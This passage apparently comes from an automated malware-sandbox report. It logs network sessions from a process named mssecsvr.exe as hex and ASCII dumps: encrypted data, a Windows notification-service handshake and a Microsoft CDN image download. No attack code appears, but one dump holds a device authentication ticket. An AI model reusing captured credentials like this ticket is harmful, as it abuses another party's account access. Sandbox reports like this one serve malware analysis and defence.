f4 fc Data Ascii: sx.xa^~fcK/C?1[\y\HcJJLJFXNR^,9LL2$$3 rd(Eq=g~RhhN}ObbmH'Y[MW~^1r1mLC=~\Clh"06jj\6n:xO_y_miiFy^\
2022-07-20 17:08:43 UTC	2486	IN	Data Raw: d9 ac 05 8a bc 1a 5f fe d4 76 d6 5e 52 fe 9e 86 bc 0e 1a f7 fe e3 cb d8 7c 27 29 95 b4 9c 88 e3 42 a2 40 4d db 43 d9 65 1d 95 c6 aa f6 9d 77 a9 e8 3f a2 d8 b3 62 fa 33 d5 be 71 56 fe 34 4a ac b7 da db 71 5e f6 3f da f8 57 57 17 d0 bd d7 fc 51 cb e6 e9 1f 03 ce d1 61 c8 d9 18 8e d1 c2 a3 cf c6 1e 0b eb 67 53 7d 7f 15 71 f8 38 fc bb ad 67 5e e7 6f 26 4d eb a1 d9 7f c5 67 0f 91 ea 3f 5a e2 e1 e1 41 2e 4e 4f 97 3e c8 62 04 bb f8 b7 1d a0 75 b2 a9 6f 70 ad 79 a8 ed 09 78 1c 3e 35 b6 bb 7b cf 38 63 0c c9 17 f2 f8 ea 3c 93 62 43 9b 6a bd 35 35 cc be 39 72 75 29 9d a5 1d 8f 4a 7d 33 c7 95 3e 87 73 f0 c8 b6 67 cb cb 04 06 d3 58 63 ae fd 56 dc 4b f9 5f e2 72 f9 6e 6d 5f 79 c1 60 e0 78 69 15 3f 85 10 04 00 41 8f 71 bd ba 92 0f 43 5c 25 b6 4e a7 98 e3 a2 36 5e 96 e3 Data Ascii: _v^R\|')B@MCew?b3qV4Jq^?WWQagS}q8g^o&Mg?ZA.NO>buopyx>5{8c<bCj559ru)J}3>sgXcVK_rnm_y`xi?AqC\%N6^
2022-07-20 17:08:43 UTC	2502	IN	Data Raw: 46 9d 24 68 73 f3 b9 38 6c 91 c3 2e c2 49 d4 10 41 d3 ba 94 c7 71 c0 d7 21 9f 9d 3a 19 32 a6 0f a8 00 78 42 8f 72 8d 29 3f 78 84 cd 1c 81 55 99 94 00 05 cf 86 e6 d5 63 f1 20 26 1c a9 00 8d e2 72 a2 40 41 d4 5a fd 47 ba a0 da 64 d2 25 47 c8 f2 2f 14 98 df 98 90 a1 24 14 f3 3c 37 eb d0 9b 52 40 d0 1f 94 e4 65 c8 45 79 99 cc 6a 0a 87 b3 0b 74 d0 35 c5 11 22 5a 6a 35 93 97 94 64 dc d6 dc e5 46 81 34 6f 72 d8 0a 69 46 83 6f 76 a1 36 47 23 8b 0b 98 de da 5d 89 55 26 dd e3 ba 9e a8 81 27 1f 90 e6 61 40 b1 65 e4 2c 76 b8 54 7d 8b 73 db e0 2b af b6 a5 a8 68 31 37 3a f3 e2 36 3e 4c b2 9c bd f7 59 19 98 ec ec ed 3d 7d d5 45 b2 a6 a1 96 d7 1c 6a 40 39 fc 8e 0d a3 4c c7 5b 78 88 47 6b 6b ee d2 f5 9e 52 2e db 22 d7 9f e6 1d c8 8b 3e 60 4f ca 0c 87 ec d6 92 69 8f 69 3b Data Ascii: F$hs8l.IAq!:2xBr)?xUc &r@AZGd%G/$<7R@eEyjt5"Zj5dF4oriFov6G#]U&'a@e,vT}s+h17:6>LY=}Ej@9L[xGkkR.">`Oii;
2022-07-20 17:08:43 UTC	2510	IN	Data Raw: fd 6a af 51 e2 ee c4 f4 16 1b cd a0 f5 be 74 cf 85 c3 f9 8b a3 84 ec ef b5 7c 92 b8 a5 2a ae f6 38 f8 ea af 9a 3d a7 08 e4 f3 f2 b3 67 63 23 b1 d7 b6 bd 7e 1e 0a aa d2 a7 b1 5f 2a 84 4d e0 71 cb c9 73 ad 67 e5 60 69 40 3b 9a af 50 bb 61 71 ad 2a 68 55 49 af 3d 83 8c ef 78 68 c7 4b 4b 6c 95 f4 a2 79 b3 f8 cf cc ca 77 33 5c de d6 ed aa bd 47 8d e5 65 84 8e 5f 36 f2 91 9d f5 d6 76 63 f2 26 25 de 63 1d 97 a5 c4 e1 ee ae e6 76 f8 55 4a 88 cf 33 64 a8 1b 50 fd b5 b9 70 e7 fe 87 56 4d 4f a4 12 77 e4 23 5b 1e a3 41 ae 95 93 93 c6 db 53 9b cb b2 54 72 74 7f 59 e4 cb 81 c6 96 8c b0 6e 97 15 1c b8 5d ad 5a be 87 94 f4 fa ab df 53 ce 3e b0 e6 39 08 62 66 0f 22 93 db 7a f4 fc 2f 4e ad 9f 44 cf 59 7b 6d 5a 1c eb 87 93 2f 27 94 84 b9 2d fc 40 4d cf b6 bb dc 9e 2a a5 1c Data Ascii: jQt\|8=gc#~_Mqsg`i@;PaqhUI=xhKKlyw3\Ge_6vc&%cvUJ3dPpVMOw#[ASTrtYn]ZS>9bf"z/NDY{mZ/'-@M
2022-07-20 17:08:43 UTC	2526	IN	Data Raw: 57 48 5f 29 af 63 af 75 7b df 4f a4 54 f1 fe ad 7d 11 98 52 46 b7 04 77 01 5d d7 d0 f2 27 60 fa 75 99 04 50 15 0e 43 1b 5c 5c d7 80 f5 5a da d6 e8 7d 07 88 d2 aa 48 a8 fa 9d 39 96 44 2c 0e 80 8b df f5 56 af 49 4d 23 3f 3e 1d 4e 58 aa 0b e8 da fb ab d8 9e 36 9a 32 cf 1a 16 f7 d6 4b 54 ef e2 b6 90 6d bd 2f 86 e6 40 d6 ae 17 2a 23 56 74 68 76 de 08 b4 70 85 61 5e 03 90 94 e8 74 d2 d0 b0 ca 90 6d 35 86 b5 d4 92 47 27 f5 bc ca 03 06 b5 f5 ea 2b d8 f0 2a 99 55 ce 69 c7 61 a4 b9 c9 b9 03 02 7a 76 57 a3 ca a2 ae 0c 78 ea b7 49 d6 b2 95 7f 96 98 49 0a 4a db 4d 3f 4d 78 9a fd 72 75 bb 1c da 4c 74 87 70 dc 4f be bd 1a b4 99 5a 13 c0 63 33 72 08 45 cf 8a ab e4 ec da f5 fc 45 55 a9 de b1 b1 e2 5c 11 19 b5 ed ad 7c cf 2f d7 a9 bd 99 de 27 8f 4c 59 a5 03 e5 24 da ba 39 Data Ascii: WH_)cu{OT}RFw]'`uPC\\Z}H9D,VIM#?>NX62KTm/@#Vthvpa^tm5G'+UiazvWxIIJM?MxruLtpOZc3rEEU\\|/'LY$9
2022-07-20 17:08:43 UTC	2542	IN	Data Raw: c2 92 ea 8e 5e 69 7d 0c b4 a0 5f 5a ea 56 0e 35 d3 1a 60 a0 55 b2 8c d0 34 7d 95 12 2c 4e e2 3b e9 c9 08 15 f9 8d 3a 6b ed a9 ef 22 d0 91 2e b4 b7 8e 03 32 a9 16 b5 a9 ee 41 b4 6f 7d ba 54 64 60 39 04 68 45 1b c5 02 4c 81 bb be 15 17 62 49 0a 56 6e fa ab 73 2c 84 3c 83 bf 53 51 6c 9d 51 6d 80 de 21 b7 a8 d6 b9 d9 3d a7 67 8d 3b 93 af 53 b0 fa 53 2d 96 15 0e 3c 5a 75 af 13 cc c7 2d c7 43 ed 5c 6b 5a f8 96 ef aa 35 3a 4f 1f 95 14 c2 e5 ad 5e 66 f5 6b da 73 73 51 d7 b0 79 91 c6 ca 48 37 f7 d5 b8 ee d7 60 c7 66 73 bf 57 f1 d1 91 e6 08 54 8e dd 6d f6 d7 ad f4 fe 4b e8 ec ff 00 6f 03 97 ea 58 15 d4 ed 9f b8 e6 33 21 47 24 00 a3 ba bd 95 6d 2b ac 9f 3e b6 27 57 31 08 21 23 77 d4 2c 75 31 0b 59 0f 7d 66 b3 f1 37 55 8d 4e da 75 a2 a9 12 6c a3 cc 92 9a b1 87 29 12 Data Ascii: ^i}_ZV5`U4},N;:k".2Ao}Td`9hELbIVns,<SQlQm!=g;SS-<Zu-C\kZ5:O^fkssQyH7`fsWTmKoX3!G$m+>'W1!#w,u1Y}f7UNul)
2022-07-20 17:08:43 UTC	2549	IN	Data Raw: f4 93 d7 70 72 4e 87 ab bd 27 1b b4 4b a9 3d 2b c1 d5 4d 8d 7c a7 07 ff d6 a0 5c 6d bf ef 2f fd 90 6b d5 aa 18 24 37 c4 94 f4 09 6f 6a d4 b6 31 6e 10 30 8f 56 0b 4d 53 c4 52 47 97 19 54 d9 11 49 a8 ba 0d 31 b8 e3 91 74 64 da 3b ce b4 94 80 a2 a9 d4 01 71 f0 a9 91 1a 7c 74 9c dd d6 fe e3 fd 14 9a 04 e0 bd f4 c4 0c 32 82 42 a4 01 ed 26 b9 5c cd b5 ae a8 ec f0 ec cd ff 00 2f 2c 89 88 c1 f4 04 76 d7 17 8f 54 df f7 9d 7b 5b 43 98 64 c6 92 48 7b 47 be bd 5d 14 9e 5f 2b f9 88 92 a4 48 6d 63 f0 35 6b 50 51 23 66 66 e8 9a 0f 85 54 ec 48 b2 e3 26 60 d6 37 f7 dc 56 7b 9d 0e 33 82 d3 26 42 57 b6 a8 4c ea b2 a6 53 21 d0 03 6a d3 44 73 f2 b2 3f 96 a7 52 0d fd f5 ad 1c 86 00 65 07 c2 bf 7d 12 c4 4e c5 32 8d 4a db e3 54 5e 7b 9d 1c 09 2e 8c 9b 28 91 d3 b6 a8 57 49 9b ef Data Ascii: prN'K=+M\|\m/k$7oj1n0VMSRGTI1td;q\|t2B&\/,vT{[CdH{G]_+Hmc5kPQ#ffTH&`7V{3&BWLS!jDs?Re}N2JT^{.(WI
2022-07-20 17:08:43 UTC	2565	IN	Data Raw: 66 ac 99 c4 c3 57 92 ed ba dd c0 d7 42 d9 5c 1c fa 71 d5 9e a7 4a f4 b6 04 71 aa ba 87 51 dc 4d eb c9 72 f2 3b 68 e1 9e eb 8d 8d 56 ba 69 f1 3a e7 a7 e2 88 01 b6 e1 be 15 e4 b9 0d 9c de 63 66 b0 c4 81 2e 7e f0 2b 93 27 9d 56 73 ff 00 53 39 cc b2 8e 86 f5 bb 0a 93 b7 c5 53 d8 c6 72 2c ad 7b 9d 2b af 89 47 fd 4d f9 34 32 5c 84 51 6a 0b 03 f0 ae be 3b 5b f6 67 13 2a 46 5b 37 1e 3b 9b 58 d7 5f 1d df 73 8d 91 19 8e 44 2c 44 da bb 18 de e3 91 93 42 b2 19 8e ff 00 67 75 68 b5 54 14 d2 ee 74 3a 67 a3 e5 66 0a ba 8b fb 6b c9 73 52 93 df f0 ad 35 52 75 8e 2d 98 db b6 d5 e5 f2 1d 6b f4 35 18 a8 59 7c 40 57 2e cc e3 e4 7e 04 a1 18 07 41 ad 55 26 79 1d 40 6f d2 a2 ca 98 ce 69 74 43 60 3f 45 4a bd 4b b1 43 67 3a f5 21 6b b7 83 a0 ec ae fe 05 ed 3d 5e 0f a4 e1 7e b0 33 Data Ascii: fWB\qJqQMr;hVi:cf.~+'VsS9Sr,{+GM42\Qj;[g*F[7;X_sD,DBguhTt:gfksR5Ru-k5Y\|@W.~AU&y@oitC`?EJKCg:!k=^~3
2022-07-20 17:08:43 UTC	2581	IN	Data Raw: fd 28 86 c4 12 29 bd 45 d1 8c b9 c1 8d cd af 6b 56 7b 52 c5 b5 2e d5 42 2d 51 0c bd 22 b7 3a 4e a0 fe 9a d5 42 bb 14 d3 15 35 b6 b0 66 64 63 b6 f5 a1 24 54 d8 f4 22 fd 05 fe 15 39 82 3d 49 c9 13 11 73 fa 2a bf 33 c0 b1 50 44 d1 80 7c 3a 54 54 f7 2d 82 0c cb 63 ad 49 40 34 40 99 13 f6 8f d9 57 d5 19 6e 45 fc a2 4a 75 66 3f 0a d4 aa 62 6c 93 0f 1a bd 50 12 7d a6 d4 3a a0 4c 98 b8 a4 0b b0 b0 f7 d5 6e 9e 05 c9 f8 91 32 12 d7 b1 b7 c6 8d 9e d2 b7 64 55 cc 1c 1d 18 54 b6 95 0c 21 90 37 5a ae c8 b6 8e 0d 87 01 94 c2 d7 dc 4d 71 39 18 bd a7 5f 15 ce 89 c7 e4 2e c0 58 37 4e ea f3 79 6b 6f 13 ad 46 4a c8 c8 5d 97 17 f8 8a ca 93 5d 4b 4c 97 2d 95 a9 b5 be fa e9 62 4c cd 76 65 b2 72 a6 1f 2d ab 7a ab 66 57 62 b3 22 66 b7 4f be b4 d2 97 f0 2a 76 43 50 4e c1 ae 00 3f Data Ascii: ()EkV{R.B-Q":NB5fdc$T"9=Is3PD\|:TT-cI@4@WnEJuf?blP}:Ln2dUT!7ZMq9_.X7NykoFJ]]KL-bLver-zfWb"fOvCPN?
2022-07-20 17:08:43 UTC	2585	IN	Data Raw: 8c 6e a8 7a 29 9d 8f 51 f6 52 b3 6c be 9a 16 30 ee 23 b2 b0 d9 7b cd b5 17 25 ed d4 52 aa b7 b4 2d 05 6c d2 32 f6 d6 a5 3e 26 5b 41 09 e6 bf 43 56 7c 4c ce 17 62 3b 31 ef a8 c1 19 19 69 82 9b 11 40 0a 0d 7d 57 ef 34 d0 87 96 42 9d 54 1f 8d 58 91 00 ff 00 36 a4 ea a5 7e ca 60 03 97 17 40 c6 f4 a4 06 da 50 e3 e7 b7 bc d2 80 22 b9 d6 d7 bf c6 a2 c6 10 8d 4f 6d aa 24 87 51 2d d1 cd 02 24 a2 fe f5 fe 14 9b 2c ad 64 d1 f0 32 bc 53 2e d1 6b e9 a0 b5 71 f9 55 4d 6a 7b 6f 4a bd a9 65 0a 3d df bc ec 7c 1c 45 b1 83 6d 20 7b 0d 78 5c d9 12 b4 1f 61 c5 a5 51 7d 1c 9b 16 eb a9 1d 6b 3a 5a ff 00 71 65 80 cd b8 5c 01 ee ad 35 cc eb a4 fd c5 7b 4c 8f a8 f3 5b 0f 46 00 1e cb 9b 68 6b d1 71 32 f9 9d 1f dc 79 ff 00 53 bf 96 93 7f f9 6d ff 00 a9 ce 79 0e 45 64 91 8b 78 bb ac Data Ascii: nz)QRl0#{%R-l2>&[ACV\|Lb;1i@}W4BTX6~`@P"Om$Q-$,d2S.kqUMj{oJe=\|Em {x\aQ}k:Zqe\5{L[Fhkq2ySmyEdx
2022-07-20 17:08:43 UTC	2601	IN	Data Raw: ec 55 66 56 4a 9d c6 b5 57 19 4b 65 74 c1 c6 a0 fe 8a d0 ab ed 33 da c5 7c d9 12 ad 4f 54 67 94 46 fc e3 8f c3 f6 52 dc ca e1 03 f3 c9 f8 81 a8 3b b2 49 21 4b 93 1c 9d f4 9e 58 26 a9 22 ff 00 87 d6 a0 b2 a6 4b cb 68 49 42 e3 c2 6a e5 59 2b 6e 06 ce 13 37 6d 5a b1 15 ef 10 d8 56 ea 45 4b cb 21 b8 4f e5 14 e8 4d 1b 10 a4 3f e5 b1 b8 b6 ef b6 9e c4 12 36 dc 50 5e 84 53 d8 12 32 dc 71 ec 6f b2 a1 b4 24 2f ca b2 75 63 4b 68 e4 20 b6 eb 7a 50 39 16 1a df 2d e9 40 00 c8 e7 a8 26 8d 44 23 ce 8e fe 35 35 17 a1 24 5f 63 60 61 cc 9e 74 0e 84 0b 5f 71 b0 04 8b d8 d6 1b 72 b6 b8 b5 59 e8 f1 7a 77 98 b7 e3 b5 74 8f ab a4 9a 7e 23 9b 18 12 98 02 41 32 e9 69 10 0d 7f aa c4 03 ef b8 ae 4e 65 5b a9 4a d5 f6 3f fe 5f dc 7a ee 17 27 26 2b 45 96 2b ae d6 aa ae bf cb 68 fc 4b Data Ascii: UfVJWKet3\|OTgFR;I!KX&"KhIBjY+n7mZVEK!OM?6P^S2qo$/ucKh zP9-@&D#55$_c`at_qrYzwt~#A2iNe[J?_z'&+E+hK
2022-07-20 17:08:43 UTC	2617	IN	Data Raw: 85 80 3f 75 41 e9 d9 92 dd db a8 4d e5 c0 de 2d a3 da 69 a9 60 f6 a2 8f 99 e7 17 1a c1 54 95 3d a1 03 d6 dc 38 37 75 fc 5d 4e 7f 27 93 e5 2e 8d fb 96 e3 0b 9b c9 71 59 33 b7 e6 c7 80 9f 99 62 d8 c7 ed 3a 57 7e 98 6f 55 f2 ff 00 e5 27 8b cf cf c7 6b 35 65 a7 8e dd b6 fc 4a 3c fe 3f 86 9c df 1f 21 d2 3e ed d7 61 f6 5a b7 e3 be 45 d5 4b 38 59 e9 86 fa d1 b4 8c f4 f1 e1 41 29 18 cf 23 81 da f5 d2 a3 b3 5a c2 f7 1c 3b ec 4f 49 7e f3 53 e9 b7 c7 de 18 5f 70 e9 a5 73 b9 2a d0 74 70 59 75 3a 0f 1d 90 ee 6f 13 38 6f b2 bc f6 4a c7 58 3a f4 b4 9f ff d5 e7 a5 b1 07 47 07 e2 6b dd 6e 47 1e 02 32 43 d9 6f b6 9e e4 10 16 f8 7b 69 ee 14 09 f2 b1 9f f1 ed f8 d1 28 05 ae 2e 39 ff 00 d6 08 f7 30 a2 50 0b 5c 3c 7f fd ad bf d2 a3 e5 18 f4 78 d0 1d 06 49 6f 8d 11 50 1d 1c 6c Data Ascii: ?uAM-i`T=87u]N'.qY3b:W~oU'k5eJ<?!>aZEK8YA)#Z;OI~S_ps*tpYu:o8oJX:GknG2Co{i(.90P\<xIoPl
2022-07-20 17:08:43 UTC	2625	IN	Data Raw: 5d 09 49 0e 5c 77 fc 31 03 f1 aa 5d 18 e4 af c8 87 23 f0 c7 6f 89 ac f6 c6 c9 a6 42 64 c9 5f c2 45 52 e8 c9 ab 0e 40 d3 23 6b 75 f6 e9 55 5a a5 f4 b4 74 d0 b9 c1 50 59 1d da da f7 5c fd 96 ac d6 b5 97 43 a1 8a 94 6d 6e fe f3 5d 0f 1f 14 ab e6 45 32 12 3a 82 a7 77 fa 26 d5 cd f3 ae 9c 35 ff 00 d3 fe a3 d4 e3 e1 61 6b 75 5e ab df bf fd 2e 24 b1 83 91 f2 74 81 23 75 fc 5b a3 0c 0f f6 6a 3e 5d de b6 7a f6 d7 f7 9b 69 cb a5 74 c7 5f 97 bb db f2 cf f2 93 23 e5 71 f0 4b 4f 36 2a cb 7e 86 1b 2f c3 d9 49 d7 2d e1 26 ab fc c5 2f 26 1c 0a d6 6a 6c f4 4e 9f b6 86 77 99 f5 84 d9 11 98 66 c5 00 76 5d 89 b5 74 30 e1 74 72 9a fb 0f 3d ca f5 25 96 bb 6e 9b f0 d7 6c 7d 9f bc ca e4 73 29 25 87 97 b6 d5 d2 56 67 9b b4 3e 9f 89 02 4c d8 9f b0 d2 76 23 b4 64 c9 11 ef a8 8e 18 Data Ascii: ]I\w1]#oBd_ER@#kuUZtPY\Cmn]E2:w&5aku^.$t#u[j>]zit_#qKO6*~/I-&/&jlNwfv]t0tr=%nl}s)%Vg>Lv#d
2022-07-20 17:08:43 UTC	2641	IN	Data Raw: 42 09 09 38 61 a9 6f 8d 29 08 14 49 3d a6 94 80 9d 0f 56 fb a8 1c 0a 42 07 6d 4d 32 23 c1 d7 b5 8d 31 0a de 87 f1 1a 60 36 e9 1b 7e 30 68 02 3c 90 03 a0 61 f0 a7 01 23 07 10 13 f3 1f 81 34 6d 14 80 62 38 3e 19 18 0f 7d 1b 47 22 bc 99 c7 cb 31 fb e9 6c 09 1b 7c 7c d6 e9 38 fb 0d 2f 2f da 12 25 71 73 8f 59 d4 fc 0d 1e 5f b4 24 59 c5 9e de 27 43 4b 60 e5 0d b4 32 a6 ba 1a 36 84 88 33 98 be 68 c9 f7 52 86 12 1a 65 47 26 86 27 1f 0a 35 01 c6 87 1d c7 47 07 dd 52 01 03 0a 0e e2 47 b4 53 10 fa e3 40 3a 46 0f db 52 94 21 7e 54 63 fd dd be da 52 84 23 62 77 52 91 89 28 bd c2 96 e1 c0 3f 2e 1c 68 07 db 49 dd 04 0d 94 f2 8d ac 2f ed a5 b8 20 22 d2 7e 12 a0 54 24 94 0d b3 bb fc e4 1a 69 84 0a 55 56 d0 81 f6 d3 90 80 de 22 3a 6d fb 6f fa 2a 13 23 81 96 f3 57 a5 be 06 Data Ascii: B8ao)I=VBmM2#1`6~0h<a#4mb8>}G"1l\|\|8//%qsY_$Y'CK`263hReG&'5GRGS@:FR!~TcR#bwR(?.hI/ "~T$iUV":mo*#W

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.7	52900	20.199.120.85	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:47 UTC	2645	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 65 30 66 62 34 39 30 38 65 66 64 32 36 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: eae0fb4908efd262
2022-07-20 17:08:47 UTC	2645	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:08:47 UTC	2645	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 65 30 66 62 34 39 30 38 65 66 64 32 36 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 57 65 75 61 42 4a 41 6d 72 51 41 6b 70 4b 75 57 56 42 35 6f 62 41 69 75 4a 4d 4e 66 69 63 78 54 59 51 45 62 71 44 32 36 4f 4b 4f 64 6a 79 64 56 44 34 72 4b 37 4c 4e 6a 59 62 65 70 53 4f 38 41 58 31 7a 39 56 51 49 44 69 54 67 37 74 37 5a 41 58 56 62 7a 71 53 49 2f 32 6c 73 4d 34 36 53 6b 61 4d 36 69 34 77 6f 68 30 72 53 38 6f 67 6b 6d 6c 48 61 47 33 39 57 4c 34 70 33 66 43 76 31 58 5a 41 77 59 31 2f 4e 6b Data Ascii: ATH 2 CON\DEVICE 1014Context: eae0fb4908efd262<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAWeuaBJAmrQAkpKuWVB5obAiuJMNficxTYQEbqD26OKOdjydVD4rK7LNjYbepSO8AX1z9VQIDiTg7t7ZAXVbzqSI/2lsM46SkaM6i4woh0rS8ogkmlHaG39WL4p3fCv1XZAwY1/Nk
2022-07-20 17:08:47 UTC	2646	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 61 65 30 66 62 34 39 30 38 65 66 64 32 36 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: eae0fb4908efd262<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:08:48 UTC	2646	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:08:48 UTC	2646	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 72 34 51 30 2b 7a 45 72 6b 4f 45 37 75 54 76 63 57 4e 37 74 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0r4Q0+zErkOE7uTvcWN7tA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.7	52958	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:49 UTC	2646	OUT	GET /cms/api/am/imageFileData/RWHt6Y?ver=1a17 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:08:49 UTC	2647	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWHt6Y?ver=1a17 Last-Modified: Thu, 30 Jun 2022 19:35:35 GMT X-Source-Length: 1812872 X-Datacenter: northeu X-ActivityId: 0a886dd3-7b94-4e3a-92f5-79ba8129452f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1812872 Cache-Control: public, max-age=268017 Expires: Sat, 23 Jul 2022 19:35:46 GMT Date: Wed, 20 Jul 2022 17:08:49 GMT Connection: close
2022-07-20 17:08:49 UTC	2647	IN	Data Raw: ff d8 ff e1 15 e5 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 30 35 3a 32 38 20 31 36 3a 32 38 3a 34 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.2 (Windows)2021:05:28 16:28:488"
2022-07-20 17:08:49 UTC	2663	IN	Data Raw: 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff 00 00 00 ff Data Ascii:
2022-07-20 17:08:49 UTC	2679	IN	Data Raw: 38 30 5f 4c 61 6e 64 73 63 61 70 65 34 35 30 33 30 36 46 35 36 42 32 42 30 30 37 45 45 41 36 35 43 43 34 41 36 44 45 37 43 42 38 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 30 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 37 38 37 31 39 37 32 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 32 3a 31 34 2d 30 